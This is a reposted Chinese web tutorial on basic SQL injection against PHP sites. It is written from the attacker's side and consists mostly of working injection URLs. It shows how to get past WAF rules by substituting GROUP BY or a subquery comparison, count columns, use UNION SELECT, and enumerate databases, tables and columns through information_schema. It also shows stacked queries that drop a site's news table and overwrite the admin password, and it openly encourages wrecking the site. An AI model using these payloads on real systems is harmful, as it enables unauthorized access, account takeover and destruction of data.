您当前的位置: 首页 > 数据库教程 > MySQL教程 > SQL注入中基础的几个问题及解决方法

SQL注入中基础的几个问题及解决方法

作者:不详 来源:网络 发布时间: 2014-07-21 12:43 点击:
以 php 为例 引发 SQL 注入失败最主要的原因是什么主要就是 WAF 和手工保护代码,WAF 用于拦截恶意代码,但是 WAF 很好绕过,规则是死的,人是活的。WAF 部署在服务器端,根据预先定义的规则对 http 请求进行过滤,继而拦截一些通用的必然 xss 和 sql 攻击。 Order by

SQL注入中基础的几个问题及解决方法

  以 php 为例

  引发 SQL 注入失败最主要的原因是什么主要就是 WAF 和手工保护代码,WAF 用于拦截恶意代码,但是 WAF 很好绕过,规则是死的,人是活的。WAF 部署在服务器端,根据预先定义的规则对 http 请求进行过滤,继而拦截一些通用的必然 xss 和 sql 攻击。

  Order by 语句被拦截?

  这个情况很少发生,,但是有时候 WAF 由于某些原因会拦截,不过,我们可以绕过,方法很简单,用 Group by 就可以了。因为不再 WAF 的规则列表里

  比如下面这样提示 403 forbidden

  http://www.8090sec.com/gallery?id=1 order by 100--可以尝试一下 group by

  http://www.8090sec.com/gallery?id=1 group by 100-- 成功

  但是,有可能这个还会被拦截。所以我们使用一条流传不那么广泛的一个语句。那就是

  (主查询语句)=(select 1)

  http://www.8090sec.com/news.php?id=8 and (select * from admins)=(select 1)

  可能会返回一个错误,类似 Operand should contain 5 column(s).

  这样我们就知道有 5 列了。

  然后 union select 就懂了。。

  http://www.8090sec.com/news.php?id=-8 union select 1,2,3,4,5--order by 10000 了仍然没有报错?

  这里讲一下有时候 order by 可以用,但是到 10000 了还是不报错,与上一节不同的是,上

  一节是请求被 WAF 拦截,这里呢,则是因为注入语句有点不同,当我第一次遇到的时候,

  我天真的以为数据库表里真的有 10000 列。答案很简单,order by 1000000 还是不报错,是

  因为我们的注入语句没有运行。

  http://www.8090sec.com/news.php?id=9 order by 10000000000-- 不报错

  我们稍微改变一下 url ,在 id 后面加一个单引号,并且在最后加一个加号。

  http://www.8090sec.com/news.php?id=9' order by 10000000--+ 报错

  然后开始使用 union 查询就行了,方法一样。

  http://www.8090sec.com/news.php?id=-9' union select 1,2,3,4,5,6,7,8--+

  从其他数据库里获取数据

  有时候我们注入成功了,但是读出来的表都是些新闻啊,相册啊,文章啊,之类的,我们要

  找的可是管理,登录表埃这时候我们就需要看一下是不是还有其他的数据库。

  首先获取所有的数据库名:

  http://www.8090sec.com/news.php?id=9 union select 1,2,group_concat(schema_name),4 from information_schema.schemata

  然后获得指定数据库的表:

  http://www.8090sec.com/news.php?id=9 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema= (这里填写数据库 hex 编码)

  然后获取所有列:

  http://www.8090sec.com/news.php?id=9 union select 1,2,group_concat(column_name),4 from information_schema.tables

  where table_schema=(这里填写数据库 hex 编码) and table_name=(这里填写表名的 hex 编码)

  通过 SQL 注入可以修改数据库里的信息吗?

  SQL 可以查询,更新,插入信息,所以,查询信息只是其中的一个功能,有时候无法破解

  管理员帐号的 MD5 值。那么为什么不自己加一个呢..insert 插入语句就可以,如果找不到

  后台,邪恶一点,干脆直接 drop 掉整个表,这样,管理员也登陆不上了。网站也坏了。还

  可以通过 update 更新语句来修改管理员密码,

  http://www.8090sec.com/news.php?id=1

  假设这里存在注入。

  我们通过 union 获取了一些表名,比如有个 news,那么我们通过下面这个语句删除 news

  表。

  http://www.8090sec.com/news.php?id=1; DROP TABLE news

  然后网站所有的新闻内容就没了,如果要该更改管理员密码,那么这样:

  http://www.8090sec.com/news.php?id=1; UPDATE 'admin_login' SET 'password' = '你自己的 md5' WHERE login_name='admin'--
分享到:
本文"SQL注入中基础的几个问题及解决方法"由远航站长收集整理而来,仅供大家学习与参考使用。更多网站制作教程尽在远航站长站。
顶一下
(0)
0%
踩一下
(0)
0%
[点击 次] [返回上一页] [打印]
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
用户名: 密码: 验证码:
关于本站 - 联系我们 - 网站声明 - 友情连接- 网站地图 - 站点地图 - 返回顶部
Copyright © 2007-2013 www.yhzhan.com(远航站长). All Rights Reserved .
远航站长:为中小站长提供最佳的学习与交流平台,提供网页制作与网站编程等各类网站制作教程.
官方QQ:445490277 网站群:26680406 网站备案号:豫ICP备07500620号-4